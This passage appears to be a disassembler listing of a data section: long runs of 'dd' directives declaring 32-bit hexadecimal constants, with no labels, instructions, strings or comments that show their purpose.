dd 0A28118DEh, 0DC0B26E8h, 0E47C6273h, 40D20178h, 0B547E1F0h dd 98DC4852h, 151F4500h, 5C91E578h, 619F0099h, 1C72F744h dd 4103652Eh, 8D1B7FBBh, 466833D0h, 4FC8C90h, 408C659Dh dd 2BD700E1h, 0DB4AE73Bh, 6BFE8884h, 0F7277C01h, 53023908h dd 6C94A478h, 9B1B5E00h, 818C7C69h, 730CF119h, 634E79h dd 5D9DEE00h, 58D2FEDEh, 5611A0BCh, 0E4FC3C00h, 0E12E3BD6h dd 0F8BA520Ch, 25B609Dh, 875A1576h, 2740CEE4h, 0ED00DBA1h dd 6C7C94Ch, 94DDC39h, 0D070DE85h, 48CEFC11h, 40B5BB0h dd 684C240Fh, 0BD8138h, 0AE68217Ah, 0B4580B7Fh, 0F94C2DFEh dd 92CAC0F0h, 53D7ACB2h, 0A42EC061h, 0C9D9191Ah, 0C9A86277h dd 0ABDD8090h, 0B82A8EF8h, 0E1EB09A1h, 5460A134h, 0FCBC4D4Fh dd 0BCC00B44h, 0B9866CAFh, 24511168h, 7240D04Bh, 0E92782Eh dd 0ACD68D38h, 0F6B0F4A1h, 0AECC4B9h, 74E531C2h, 0E0D454C8h dd 0A489901Fh, 6497DC01h, 0B7D7ABBBh, 0F788AC79h, 1454099Fh dd 418912C3h, 0C0C3100Bh, 24D130ACh, 92A48CD0h, 0ED580885h dd 50752EBCh, 0D7C758h, 7A0BD43Fh, 425857DDh, 2504E803h dd 0A8FFA7C9h, 0B7F1131h, 9ECA15CCh, 0C0995480h, 7114B3D1h dd 2FC2410h, 74DE529Fh, 0ED7072E3h, 8AC6F030h, 56403856h dd 4A4878h, 0CFA8797Bh, 5D6B2287h, 340B1802h, 56267472h dd 0E49B441Ch, 0F050ECCCh, 18BE7464h, 1965E94Fh, 0CC401A5Ch dd 9759387Fh, 0FBB05C10h, 1933FA00h, 0C9061217h, 44DCBC1Bh dd 0BA408886h, 54965F0Eh, 1C30567Fh, 9515A457h, 7DB58491h dd 0DEAFC34Ch, 807DD008h, 2EE51FE8h, 30B35282h, 0DB77BEFCh dd 67319000h, 0CFF49396h, 640251DDh, 9D3176D5h, 14B3C4E8h dd 0A8572F7Bh, 3F839453h, 914CD7E4h, 7D6811C4h, 31CD5118h dd 7C00EB33h, 62EE2B43h, 0F92EFCF1h, 7631D87Dh, 0E2BD7B61h dd 40D4D112h, 5138A3A5h, 6FD74503h, 0F89D6269h, 16677E43h dd 28CE4C14h, 0F600884Ch, 2F592854h, 920341Eh, 4D7FBA38h dd 4F14C052h, 221C7E62h, 610200CEh, 0AF318F56h, 444A039Bh dd 90F28C94h, 18C97B00h, 0DE266DE5h, 232AA10Fh, 71214073h dd 13FF52A4h, 54839A02h, 0E1A0F85Ch, 0C018563h, 47B3248h dd 0A8528BFBh, 0C014E1CEh, 6C29B862h, 7B2A60A8h, 0C1EC319h dd 0BB99AE2h, 0C8E5B318h, 2452A1BCh, 0ADBC6BD1h, 0D44F8C98h dd 0CA51F461h, 70338BF5h, 499EE100h, 0D88ADE4h, 12D2AF3Ah dd 0AC0B5185h, 0F78024Ch, 0F86650h, 0F43D3016h, 5516D2Ah dd 0EC1C2E07h, 6B8072AEh, 48349642h, 92807C81h, 171DC920h dd 6757CA00h, 4DC8F34Ah, 0FCEC0096h, 29B4B372h, 0CD78A256h dd 0E83B441Eh, 0E24017C0h, 0BC4C417Dh, 0CD4B802Ch, 0E37ADA9Dh dd 880E7000h, 209BA67Eh, 0E218008Eh, 2909A79Ch, 40E25776h dd 0E01BF629h, 9030F913h, 5CD738h, 2A1A6F91h, 0BBC5ABF0h dd 1E146900h, 5E7FB38Ch, 0AC41F10Ch, 0C060A5CAh, 0B0AD95D1h dd 271C2D16h, 5FC04834h, 44310724h, 628817h, 352B2A29h dd 0A40C9228h, 1084A081h, 1C570A64h, 0C2661B26h, 0D92E61E1h dd 244CD492h, 4C156A16h, 11000027h, 0FEAE8Eh, 3868A8F5h dd 815E4F9Ch, 0C95121C6h, 92E20099h, 0EB5BDCD1h, 0B7381FF4h dd 2FED8099h, 5E6001A8h, 52AD0515h, 0D0B33FF5h, 0EEC9B4FCh dd 74DDD309h, 34582384h, 997C4Dh, 0A1D58A38h, 0E2FF8209h dd 0F3693301h, 9B182B97h, 4F5C61CAh, 0CC24283Ah, 0C9016601h dd 8B62C057h, 0F8B9DCh, 0DAF70BB4h, 0F40950FBh, 0FC176090h dd 7430BA9Dh, 254E827Eh, 48C4C34Fh, 48D0D84Eh, 3D1CD4A3h dd 3B806B0Bh, 4404B429h, 0D8923A8Ch, 83E744h, 0F34C0A50h dd 0E5BC0827h, 0D32ED176h, 541340DCh, 0D803B4B2h, 2F4D62A2h dd 0CA754BC0h, 80182D58h, 0D7C0E941h, 0EEF00CBh, 8530A9ACh dd 0BAFE74A4h, 34820494h, 0AACAAF1Dh, 0C8B8A0A8h, 0F860803Ch dd 0FB016Fh, 669184E8h, 15C43B3Ch, 0A5CB3D01h, 5CECA47Eh dd 3E5E185h, 0E3E812BFh, 0B4CE071Ch, 9AD0F720h, 0D36C37h dd 77590915h, 162779C7h, 2A9C3F48h, 0E8EF3C75h, 1A00FF19h dd 0D984A1Eh, 6B9801Dh, 0F07360FBh, 0D4B429EEh, 4F667240h dd 0CF24031Eh, 0C2D4FF75h, 0C7C42DD0h, 0D0A4F624h, 0E503DE09h dd 0D89D0E6Ch, 0F8DD2E1h, 0DFCECC4Fh, 46961E0Ah, 6826EE3Bh dd 0AA6A4940h, 126CE89Bh, 94ECCD37h, 62CC0ECh, 5000E325h dd 7AFFE01h, 196F20DFh, 307578D7h, 3EB867D1h, 5FE4C9Dh dd 0C8F9097Bh, 8CA84884h, 0E094E187h, 3C10ED2Ah, 34DE6208h dd 7B0F8049h, 3ACD0906h, 0BD8A5D05h, 4CCC81FDh, 7EED0EEFh dd 27E09C90h, 0D1217350h, 2300F6B8h, 0D874D9F5h, 1DD275E4h dd 28C6ED0Eh, 40149C64h, 0D8121FF7h, 2A0F5E02h, 0C1AB3B89h dd 186CCACCh, 8A07C00h, 73B0E2D5h, 0C4E2A0B6h, 0D8DE0556h dd 5C163C38h, 2C2315BAh, 0C635F05Eh, 0DC583DFEh, 0E84A7Eh dd 94265C88h, 804B6B4Eh dd 954CE48Ch, 98651420h, 5458BCAEh, 0C40D2C24h, 0F602D104h dd 3204401Fh, 0F5F76273h, 0E4402FFDh, 88198F18h, 501B3A79h dd 89BB3680h, 97AEDE0Fh, 684E740Eh, 8B6A64D3h, 1BA8C856h dd 298FBD00h, 44075E67h, 0CE74007Dh, 4D9E1E1Ch, 5D13CF68h dd 0FC9102DEh, 203ED5C6h, 749F0370h, 2DE5A309h, 4AE4D871h dd 0BC1490EDh, 120498E8h, 0FDD21D27h, 0A0C868C4h, 0E5CA059Dh dd 0E43534E1h, 0B7036ABCh, 6F4C45C9h, 98707798h, 0E9E42534h dd 68002C6Ch, 95F59B6h, 0F036229Ah, 3493F6h, 579754EEh dd 5AE429C9h, 0C80BDC77h, 10477EE6h, 1D45E14h, 0EDF091E7h dd 40CAC682h, 0B0EFB36Ch, 0CC4C53h, 1D5A98CFh, 148696CCh dd 0F8315140h, 7F0FB856h, 26606182h, 3385DAD7h, 939FD00Eh dd 19885F4Ah, 4C468334h, 0A9539A32h, 92F70070h, 0D16EEFCDh dd 2696F493h, 0BFF01Ch, 46078C90h, 3BFDD7DCh, 44D5D049h dd 0CE341B00h, 5948384Eh, 24212298h, 999760h, 4775E1C6h dd 0E3709F8Dh, 742BC200h, 420AFD57h, 7C09051Ch, 5C48866h dd 0CC40E080h, 9A00B734h, 6051FDEh, 0EEB3E5h, 0F0CE2EE9h dd 0E6194C08h, 7BBD1A3Ch, 5605D0B3h, 90101876h, 134E2280h dd 0A2C14BFAh, 0EFBB0020h, 0B3E8E5CDh, 27AC91A2h, 401F864h dd 5DDF2BE4h, 0C3F409AFh, 0C69C0129h, 2CF54716h, 0B03379h dd 40389643h, 804A66h, 133AED1Dh, 0FBDE0408h, 0B0E9CF25h dd 19E469Ch, 0B65A7E6Ch, 22518242h, 0E3860374h, 33F5B31Ch dd 5C98EF8Ch, 524D02Dh, 94B27434h, 84EE8Ah, 0D8C6F7E2h dd 0AE80EAD4h, 3892176Ah, 1A4954Ch, 0A4693446h, 8CC8D3BAh dd 2600F480h, 6F444263h, 17E010E3h, 0A129B3h, 0D3F5F67Ch dd 16761A31h, 30FF5B00h, 0F703B47Fh, 7ADE294Fh, 0EB093E9Ch dd 44CCE978h, 0B1DE3600h, 3CAA3B20h, 0A6DF016Eh, 0ED92FB0Eh dd 306080C8h, 0F57EADC9h, 48621E75h, 0DC540BAFh, 0EDE9350Ch dd 6FE544h, 0A52A594Eh, 0E8ECCF70h, 0AA7A19C0h, 3D92715h dd 0C4868B40h, 0CFE85473h, 5D0952EDh, 64517EE7h, 90127DA4h dd 0A150325Ch, 9C84E5A9h, 0CB5B4453h, 2FE6E4C2h, 0E99970E6h dd 0B4216AF9h, 0FAF0C769h, 4CC57101h, 0C916D548h, 272CA4ECh dd 6F172003h, 0DA150A29h, 0BD2C60F9h, 69B088CFh, 3C769009h dd 0F65C68E4h, 0E3D1071Eh, 0A26BA622h, 0B8901155h, 0BAFD51B3h dd 17AE0029h, 8311A5D0h, 10E5093Bh, 0ECD9BB34h, 72804A1Fh dd 0C1E62BFBh, 86F61C60h, 0B46D40ACh, 0B33C8323h, 0FF2EAF04h dd 0FCC0C6B0h, 139DF841h, 0F5E45B9Bh, 32CBF5D8h, 5FE1C084h dd 46DDF19h, 6914B4D1h, 2DFC882Eh, 0C6FCCB01h, 55055CEEh dd 0A742E0h, 81A19630h, 0F0532AA8h, 0C9D05250h, 0F372BAE0h dd 0B362F5F4h, 4470DEE9h, 2A9D172Ch, 0D2390DAEh, 0BBD04CA0h dd 0FC866403h, 0C14F9EB0h, 8BE013EBh, 59E50040h, 0E1B2BDB9h dd 0C4980D15h, 7FCC9B02h, 465679DAh, 0FE3607DCh, 40B434E4h dd 0AB4039C1h, 0AEC9F301h, 7E504D10h, 56BC226Ah, 0C91B4F27h dd 0CC217BB0h, 44207EECh, 0CCB05E1Ch, 97525422h, 0D513B7F8h dd 204C3Bh, 7EC52Dh, 294FA709h, 6054E83Ch, 9D0AE9E4h, 80EA4DFDh dd 567FB301h, 0F2EADE1Bh, 990A0B68h, 8C19A1B4h, 844C2CCBh dd 0A528CC69h, 43A2E8A0h, 0D41D1BECh, 0B1802B02h, 0F2E640EDh dd 235C5F73h, 0D69098D8h, 5600DDA7h, 2F22A123h, 50A347h dd 0D1803E6Fh, 4CB40A0h, 51B45C1Ch, 238EB7Bh, 2B866BB8h dd 35007844h, 38733F0Ah, 24A0C3h, 2B991911h, 5A6B1E22h dd 0B44E2F7Eh, 0FF8ADC20h, 2F27A60h, 675F042Ah, 307E2BB0h dd 71259B40h, 17550503h, 3A1CF90h, 0B9F0D79Fh, 0D082BAC2h dd 0EE21E968h, 0F8704010h, 0AC6458F5h, 0E03178C0h, 0F77BD5A5h dd 300C6251h, 75895418h, 911080F5h, 6B0017ABh, 634A3D15h dd 0BC6C305h, 181AA70Bh, 402F80Bh, 1C62A98Eh, 0E101E866h dd 0BA5B73FCh, 0F02C2738h, 3A4CA96h, 0AB09E0B3h, 5A219055h dd 71574A9Bh, 2DDC004h, 0C66C625Bh, 8BDE4AF0h, 0E5B600D4h dd 80442941h, 0C6B00D2h, 54D87657h, 484C75DEh, 3145689h dd 97C21922h, 997DD0B5h, 6DB401A5h, 3633EC7h, 81A82CCFh dd 30F506AAh, 3953FCh, 7F4FD988h, 0B0EA4170h, 69B35000h dd 6AA59F29h, 0AA8CA0FEh, 914FE8FCh, 91BF6010h, 0B10055F9h dd 586B7693h, 1A4745B7h, 504B32E0h, 108388C1h, 6EE414h dd 0B276DDB9h, 64AFED18h, 4A43109Eh, 0F3C4889Ch, 0A96D00B5h dd 124F3370h, 36010D42h, 0C5D70657h, 0A5E25277h, 94D19D80h dd 62085920h, 0EC20F75Bh, 0C6A96E0h, 9B4BF866h, 9FCCA69h dd 0F0197FCh, 1BC91265h, 0C1D2DF15h, 0DE11ABDCh, 0C8203A7Bh dd 774D9975h, 5CEFFC82h, 0D488A8FCh, 0A04A5B45h, 84117C40h dd 0F03F6700h, 2D7AB7C5h, 9816F70Bh, 1E487186h, 0A5498773h dd 0B9850090h, 0F9010F9Eh, 44AB5CA3h, 0ECC4326Ah, 69FB6024h dd 4F4D557Eh, 54D491B5h, 625E20E6h, 82B5C6B2h, 7A7A2DFCh dd 35700E4h, 35627325h, 1C5C48A1h, 0CBD31A38h, 0BC404359h dd 0B2CA135Fh, 3A0321DCh, 0E857980Bh, 0F208DCB1h, 1D625204h dd 0E2C1E82Ah, 54407234h, 701BB28Eh, 40E0B4CEh, 162BF1A3h dd 8419BFE8h, 96195EC9h, 0C33D3FDh, 0C8576416h, 508A8604h dd 0C82A4BC8h, 7BE230DCh, 0B02F0300h, 9A79CF97h, 0F2EB2FB4h dd 807DD461h, 4972F72Ah, 502DC9B6h, 4466385Ah, 38217F7Eh dd 756C1656h, 0BDEC9120h, 8F9C3D52h, 7BC4C023h, 334BCC2h dd 8FE1AF45h, 4DB0BEA0h, 0D202BF3Ah, 0A6DE73E8h, 0EA68E1A2h dd 22481715h, 14F3CD08h, 31132780h, 0F6375D4h, 85580CA3h dd 4C964D69h, 170BF00h, 97F319B4h, 1A580B1Ch, 0E029E114h dd 853EB879h, 31A19075h, 7D45F1C0h, 0CF62193Ah, 10E998D2h dd 0C0E634E1h, 0A1AD5EE9h, 0B8B464E4h, 0C9B41403h, 0E0582E53h dd 205096DCh, 3EFF3268h, 35A2B201h, 0B6C49DCAh, 0D7F88A21h dd 2FBF76B0h, 50B85FEBh, 0B09C87Ah, 4169E161h, 50D29D68h dd 0DDFA1638h, 0AFAC207Bh, 0DC1855C9h, 1A805E73h, 15E8E9E9h dd 0CDE70F4h, 0B94B660Ch, 0D0007859h, 407EBE27h, 7BCF4205h dd 0EBF8027Fh, 0E43DF0D5h, 0C0007064h, 4F17BD62h, 0AF6685h dd 0B8CFB5B4h, 0D324983Ah, 0CD02BCB8h, 504F9ABAh, 2DD07126h dd 0FB016CC4h, 701B0C89h, 39205139h, 0E2290071h, 0A70DACF5h dd 20F79FE9h, 0C748DCACh, 0E53960BBh, 2E7496A6h, 1C84CA14h dd 4C76008Dh, 0ECC9B0ADh, 8423B313h, 58CCEC30h, 3A0AB83Dh dd 800FF25h, 55B43105h, 53030204h, 0D3C7CA54h, 463125F5h dd 0F120D4A1h, 0AB3FF439h, 9F0E7907h, 81BE82DFh, 8959E183h dd 0FC229438h, 9B4D2492h, 0ED487894h, 68A7DDC8h, 0C21DF8h dd 38BD9C45h, 0C579C3BFh, 0C8206EFBh, 0E85937h, 96406765h dd 0BAA1CB0Fh, 0A07AE7Ah, 9E5A4971h, 0EDA3EC91h, 601468A6h dd 9C1AB507h, 0FC243Ah, 0DBC41460h, 2EF1F2h, 1CFE511h dd 9EDC2CB7h, 6AB30C00h, 0C79B368Bh, 1303E6D9h, 44C5CC9h dd 52271A54h, 0A1004CB2h, 7CDFE4A7h, 1D000F17h, 9320FD05h dd 588B464Ch, 0CF220C23h, 0E6D5C62Fh, 740902B0h, 277669ADh dd 0E29474E1h, 0D13060E0h, 0F0ED0E2Ch, 4D836160h, 15FA3FEEh dd 9CC548EBh, 64324900h, 504C1AAFh, 47DD961h, 0A5D38C45h dd 0E3BC8554h, 0FC6A1010h, 248C10D6h, 64A0512Fh, 0B98C4797h dd 20C4B603h dd 0E801C681h, 0C4CD9FEh, 50E02E57h, 28BF13E0h, 7E00302Ch dd 0D3DA3F16h, 8431176Fh, 0C6D8023Ah, 0AE20FCD6h, 24795EB4h dd 9C8C248h, 0A8DBDC38h, 551B7F05h, 2C480C8Bh, 0DE44333Eh dd 9049034Ah, 2021011Ch, 0BFD35528h, 76045742h, 2D78A0D4h dd 4C9134EEh, 6B8C5CB4h, 0DCC8598Ch, 5CE85076h, 4D0313C7h dd 8DC031D3h, 0E9C2DECh, 4469A84Ah, 6C0FD35h, 0B82334Dh dd 5BFC1EFAh, 10E17802h, 269E4DEh, 464BF0B0h, 9F3100B0h dd 0EB1627E0h, 0A3015E03h, 0AEC21F24h, 0A4FD4789h, 884A406Ch dd 13016AE4h, 3BAD7998h, 0C3C5F66Fh, 0E5A8086Bh, 30207B44h dd 0BC8852ECh, 0AB2D0069h, 0F9CEE343h, 53487FB2h, 18FD80D0h dd 729832A9h, 733E09D3h, 4CC852B3h, 0CA038CB2h, 891D3985h dd 0C7BB90D8h, 0FDAF0EBFh, 0D32004A8h, 0F6EAE725h, 6BC8CC12h dd 53D8B001h, 1BD4AD3Ch, 2BB4134Ch, 49A48882h, 0B8043B97h dd 5BDE4001h, 0CA882071h, 38B58498h, 7A0104h, 73437116h dd 0B8F33972h, 822F6925h, 7A9CCAE4h, 197D74A0h, 0E96720BAh dd 8C32EDh, 0FFF34D4Fh, 2561906h, 841173C1h, 55772A0h dd 0C884C08h, 75237BA1h, 1C5E0015h, 262AA359h, 0A80F03CAh dd 0D2BA0FCDh, 33682C32h, 886A82D2h, 0C300D871h, 688CE2F0h dd 3C63E6Ch, 24DC7D80h, 0A585FA9Bh, 0DC5E0C24h, 0C1656F1Eh dd 106D6BACh, 7192E3C0h, 0F9078790h, 0FF78683Fh, 0CDD1ADF0h dd 0FA84AA7Eh, 52E57D20h, 0E422803Bh, 5A390C00h, 4CE3C20Bh dd 0F34F0158h, 8559686h, 0E1A42097h, 6C9C34B8h, 25D7AE94h dd 0B7987247h, 0ECA4B818h, 5BE91661h, 0CC3C1CBAh, 58C7C898h dd 5175DE12h, 78C14CA9h, 0EF21AD0Ah, 4CC3294Ah, 0F5290036h dd 1AF743D2h, 4B7EE33h, 0E340F9F8h, 4EB61CD7h, 0F181BD0Fh dd 486E8021h, 5B2D65D8h, 933B0BF9h, 0B6003C64h, 43B94833h dd 0C3754Fh, 21088BADh, 0A5ED2F05h, 2754D05Dh, 0B1EC667Eh dd 926B1078h, 52E32C04h, 0D4545E09h, 0AC110C04h, 0DC1D70C0h dd 8820B52Eh, 8F881769h, 253FF103h, 0D18E2D10h, 63C0B1CEh dd 0B4740B1Ah, 0F882F5CFh, 0CC0A3AEh, 4F259937h, 90F85166h dd 281A93BDh, 68D87930h, 14B514C4h, 81FCEE16h, 3FD4C6C8h dd 70C22C24h, 3A582A54h, 64D46145h, 1B88CED0h, 0AFD30E8Ah dd 0E4E5D22Dh, 82A4C572h, 7059C984h, 41E87614h, 0D24412F0h dd 804480E6h, 8B6E1h, 0B392FC41h, 0FF1EA8B4h, 28098332h dd 34D4093Ch, 965EF8D0h, 5C64AD6Ch, 2EA79107h, 0CF909DC1h dd 2502F7h, 30534167h, 21A25626h, 9CCE6C13h, 8058A887h dd 0B42FC9F5h, 0C7A06889h, 5CB946FCh, 554DBA84h, 65D35E47h dd 0C9D40443h, 1130B25Dh, 0C85F83D1h, 0F80172A0h, 0D62D9AC9h dd 0B4689E59h, 5321BCD0h, 579F2DE1h, 0C7596F0h, 9A9303BAh dd 0D528C770h, 0CA5420E5h, 0FC59A9A0h, 0B301658h, 0C94088h dd 684524D0h, 0E45B1142h, 92807896h, 7F030B4Dh, 0F0277083h dd 20B35E65h, 0B9F39D50h, 72F71E09h, 1E4C4A4h, 0F83080C9h dd 0FCA1417Eh, 0C3009D7Bh, 0FC256EE4h, 60D1C6CAh, 76E5A1F6h dd 0B8BC3DC9h, 0E20BA0C0h, 97285CE0h, 0EC00473Fh, 0E43DF27Fh dd 30168277h, 44E6515Ch, 0A029EE1Dh, 1D8C2880h, 0F8570F00h dd 5CE3D385h, 0C6A60737h, 707E2ABAh, 0CE0673A5h, 98A6BDF2h dd 0D403FA00h, 4CFCF42Ch, 69F562D1h, 21409ECAh, 0D055C7DCh dd 9583018h, 0F678960Eh, 588566CEh, 16C90088h, 15D7BF41h dd 0D60BAB42h, 0C4AEFBF5h, 653410C8h, 0E17C804Bh, 0B37AC0h dd 0CAB09333h, 76029A0Ah, 15D9E700h, 0ACB81611h, 5D851703h dd 0E4C430B4h, 0F801763Eh, 0E8A522E0h, 51CC7524h, 94019F6Ah dd 0FCE1CAA1h, 5C0F13E2h, 92544AE4h, 0E6C0FCA8h, 471CFF6Dh dd 6E034598h, 2DA78774h, 99C2F98Ah, 8FA8202Ah, 3005B9BBh dd 13E4667Eh, 1160F0C2h, 96C91150h, 1FAF63C8h, 0DD1303F4h dd 4E98023Ah, 0A890F650h, 0B4095E06h, 8A2412FBh, 4C64B448h dd 17E5748Ch, 89438FCh, 5E8022F8h, 0AE2FE19Bh, 0DFA1050Ah dd 0EC8E70F3h, 0E456C3ECh, 0A1990B35h, 4CFB78ECh, 615D7382h dd 287E60EFh, 4D140079h, 6A75537Bh, 0F2008A9Ch, 59637E0Dh dd 7322279Dh, 3C4D98B7h, 0BE8FEE57h, 0AAA1FAADh, 809E11B8h dd 3A4CEF10h, 1048B0Dh, 1A53E20h, 0E4D612AFh, 38C0AE2Ah dd 0F1862D1Eh, 4EE5002Eh, 71074516h, 0DB16255Ch, 3001C29Fh dd 0D8BCFDEEh, 0FF196987h, 80A31016h, 29B8EC01h, 98251331h dd 8D012139h, 61BE58h, 0EF563FBBh, 307AB32h, 5C470396h dd 5100D7BDh, 0E1CCDD97h, 18B45FA9h, 0C8EC89C2h, 0B550A8DEh dd 8D002340h, 80932959h, 32C9C5Ch, 0D31456B6h, 0BCA1551Bh dd 0F35180A5h, 5824FFC1h, 51EC00B3h, 0CEDBBD84h, 8C30648Ah dd 3F33996Bh, 0C7053ED4h, 9700FAD8h, 0D1F2CC55h, 88005201h dd 0F983E98Ch, 4B48D2Ch, 0B68E10A0h, 0C33BC05Dh, 1E019B33h dd 8CFE50B2h, 0C44290ACh, 8DBCA32Ch, 5CB900B6h, 0B7AEAB04h dd 0C6FADABFh, 0BD4C19DEh, 6004B1DDh, 0ED0C392Bh, 94003055h dd 743B4D8Fh, 0A405E2D1h, 335C00F0h, 8AF7C6BAh, 8D30B657h dd 237E51AAh, 998601CCh, 2A4233FBh, 1C5FFEBh, 0A8A9B010h dd 7FF2E84Ah, 526394Ch, 0F8C7BD58h, 0C0AFD803h, 0B46940CFh dd 5169EE5Ch, 0F7F06486h, 0A9B72660h, 9B55070Fh, 0AF2680D3h dd 1CA0D8D9h, 200725A1h, 41ADC2EDh, 148C19ECh, 0F8BCB5A6h dd 0C5D1D380h, 4E1C5C05h, 0A300E387h, 1FDA0129h, 0D06D5438h dd 31D160BBh, 5A057560h, 15627700h, 0B118F3C6h, 0CEA90198h dd 0C587AA08h, 208EC0DDh, 0B1C23430h, 38AC0AD9h, 698F2573h dd 5138BCB8h, 4200A1DCh, 9E97C401h, 0DA1320h, 32584D3Eh dd 6857CBC5h, 59C7B01Eh, 234EC902h, 0ABEC912Ah, 8EE2A411h dd 0A0E9495Eh, 62DD016Ch, 0C7FE001Eh, 4A85D61Fh, 8C90052Fh dd 0E3ADDB3Dh, 548C39h, 50A458E1h, 0C74A878h, 0B62D9001h dd 0AA5261A9h, 0DE0CFE28h, 0AE39AC91h, 0B49FBF29h, 48724E0Ch dd 0C531331Fh, 20E3AFF1h, 61195CC3h, 0AD312655h, 7ED020h dd 9FD0CB24h, 451467A6h, 0E6B51E01h, 0B08D9B1Ch, 47356980h dd 0C5F4E2BBh, 3D49143Ah, 130FF99Ch, 6903C83Ch, 0CCC422FBh dd 378C90B7h, 9A6E00B1h, 0E43C20C0h, 5200B850h, 0F09D5560h dd 2499156Ch, 43740557h, 40C042B7h, 0DA3C4B7Fh, 0C2150049h dd 0F4557258h, 22489002h, 0B403ACBFh, 204F84EFh, 1F411428h dd 3001F42Fh, 0A7D06102h, 80F0C111h, 0D3ED0110h, 3F038Eh dd 0D00F19CEh, 0D493C19Bh, 0FF67970Ch, 7E12920h, 91272154h dd 0F8DDB39Eh, 95A1DFBBh, 0EF8CE405h, 9AF0200Ch, 0E430F1h dd 0DD1A5CEDh, 0BC5F5DEBh, 971C2A00h, 0F6B0D16Ch, 8A5B0084h dd 0B79C6766h, 0FB0C389Bh, 4196F169h, 71C300F4h, 8491E8DCh dd 7A7AD903h, 3999D007h, 36B07388h, 60FF1570h, 7D9FA1E8h dd 0FA0083F8h, 9AAD22E4h, 0A0181219h, 24A6F974h, 0CDD910Bh dd 95680628h, 19841700h, 2EF03668h, 0FE74001Eh, 0E82FCCD8h dd 667A5E8Ch, 0FFDAF908h, 859F1Ah, 43987D3Dh, 0E7FAFA64h dd 229D7703h, 7F9E9461h, 31676FC1h, 1F779000h, 3B038163h dd 7838E9E2h, 196DC391h, 9110CF21h, 570370C8h, 0FA2A300h dd 210ED615h, 211962EFh, 68821F13h, 0C463A7F8h, 1BA17101h dd 55AA9B62h, 0EB21C0h, 57986551h, 0F0540ADAh, 9AA0D264h dd 173B9C21h, 0E2617BCFh dd 0B7CB10F9h, 0EBC0EE12h, 48660C03h, 0E31386Ah, 558EA00h dd 2F9A60A8h, 0E6FF7818h, 0F3BD239h, 0C353848Dh, 24706080h dd 3DEE09CAh, 65916714h, 11900D24h, 0D0E0791Dh, 848E003Dh dd 99FD5B41h, 2B50B01Eh, 11F11A7Ch, 419D6E48h, 0C0274032h dd 0B54D4A24h, 4F6FBD00h, 0C7DAAC7Ch, 0F8391DF9h, 0D7E34066h dd 783A9DF4h, 0C8304090h, 0CF925925h, 807600E1h, 64C751D5h dd 5E03D9A0h, 9883D412h, 9472F88Ah, 954502C0h, 0C1CF1B90h dd 6B9DA0A2h, 2296EA13h, 0D5201DFEh, 0C41750h, 0E012BD22h dd 0A3E161C9h, 231EE04h, 99861F81h, 0C0ADE489h, 0E6CB4241h dd 24077134h, 384D2F55h, 0A8E78F80h, 39951E6Fh, 9490D548h dd 4917B584h, 0F7B0230Dh, 0FC480C3h, 442A0060h, 61D8677Ch dd 0A98B9998h, 0C1823163h, 0D3F3D638h, 0E308C88Eh, 77C4349Eh dd 79C0D154h, 6097EC0Fh, 6F0269F0h, 0EB04C870h, 6269FA0Ch dd 18B49481h, 87792180h, 469E5347h, 1197DB05h, 0E0222119h dd 0B4DD236Dh, 0E12D05F0h, 3A1A0E00h, 299AABE4h, 699260F0h dd 5FB6DA6Ah, 0EF00D4E0h, 0B95A5716h, 62EDDFh, 0CDB8F4E1h dd 77FE312Bh, 0EC583C66h, 0F1A945E8h, 53799F12h, 0D078E40h dd 0DBA0A2h, 0ACB631CBh, 91E5C5C8h, 467BB809h, 978087D4h dd 77CE8890h, 61F31409h, 67C89C8Fh, 0F4448E60h, 5678049Eh dd 0C35D90D1h, 6FC03D4Ch, 0E0F9F5F9h, 31C03269h, 0D1468D97h dd 0FECF2487h, 80A64098h, 6A1F45F9h, 0F29811F4h, 3097CB19h dd 0CE799CEFh, 0ED0B3A32h, 7845E54h, 0D871BA97h, 88226791h dd 5D80F864h, 43C7054h, 22769BD3h, 6491E480h, 14CF8861h dd 36AD8A8h, 0A407ABB0h, 608C6238h, 1FD53D0h, 0EC211BD6h dd 0E0F6290Fh, 457B3E04h, 0F0811DE2h, 0E89FF09Ah, 6107629Ch dd 3E9DDCC3h, 0DB641BC0h, 0E9FC28FFh, 208245A4h, 78033F3Ah dd 39DD641Fh, 9D2010E2h, 0A89099h, 974B4111h, 42F0393h dd 4899EF3Eh, 0B3554062h, 0C8B84Eh, 51A59754h, 0F34F7D0Fh dd 3D589562h, 0F8180935h, 9F3BC951h, 1B5B8099h, 4B3B436Fh dd 1F2D0E5Fh, 4E0DEA23h, 618C3081h, 0FCAC8229h, 0CF186691h dd 0C69C5111h, 2EA4C100h, 7AAC6208h, 0B88701F7h, 6E9ABD0Ch dd 0B7830C2h, 3C0F8C92h, 0F2BC03DBh, 90D7DC02h, 40D892F0h dd 59AE14h, 0FCB277CDh, 0FEEFD1F5h, 12C96701h, 903BC349h dd 1109EE5h, 1905476Eh, 0C22B794Bh, 77C7C407h, 383637C7h dd 9F2C99F8h, 0B9F28232h, 0AB604C87h, 86130394h, 2004F982h dd 0BE5C29D3h, 0C3161E0h, 0B7074223h, 0B5DB11FBh, 0D8800533h dd 83AE13h, 0E9310722h, 943FE00Eh, 0A301B1Ah, 0FF4C60D8h dd 0CFE53F7Ch, 134659E0h, 1F00EC56h, 0DE7F66D9h, 6031C805h dd 2382012h, 6B364C33h, 365840F6h, 20E99F91h, 7CB11275h dd 0EBC3ED80h, 981A1417h, 0D6F1063Ch, 316C4867h, 0EB956100h dd 2AE15382h, 0D7CA03C7h, 8335459Fh, 7890F9B0h, 8062873Ah dd 0A60F84B9h, 6D6675Fh, 9DDB59FDh, 7012109Ah, 7C32012Bh dd 4298C69Eh, 0EA1C008Eh, 559D997h, 0CD4B050h, 0A59D62D1h dd 9A359821h, 44303964h, 0E8C8C71Ch, 0E8D40059h, 4248470Fh dd 7704D3D0h, 9BF01521h, 0F5675E40h, 6D5A1D5Ch, 0D30004ECh dd 9FFA474Fh, 822E1BDCh, 92119C45h, 6380B43Fh, 0D976958Ah dd 4E60B7FEh, 61B87F20h, 28BEF8D3h, 44B0536Bh, 65019068h dd 37262E6Ch, 5430CA29h, 38F4489Dh, 73009F22h, 0B6ADB9A0h dd 58FBAE08h, 1622D07Ah, 0C3D68F12h, 19777821h, 0CCCB9000h dd 2264F84Ch, 921B0183h, 9A266EA0h, 481C6031h, 5F896560h dd 8C4A49h, 0C0D8C997h, 905C5386h, 8B04C798h, 9FC63E33h dd 0A330D0D7h, 1766795Ah, 1E9B7F4h, 671E20C2h, 741DD568h dd 38F0E2DCh, 0BD553A13h, 32938402h, 817C07EFh, 809DF0A6h dd 0F5CBA199h, 1FD51F5Eh, 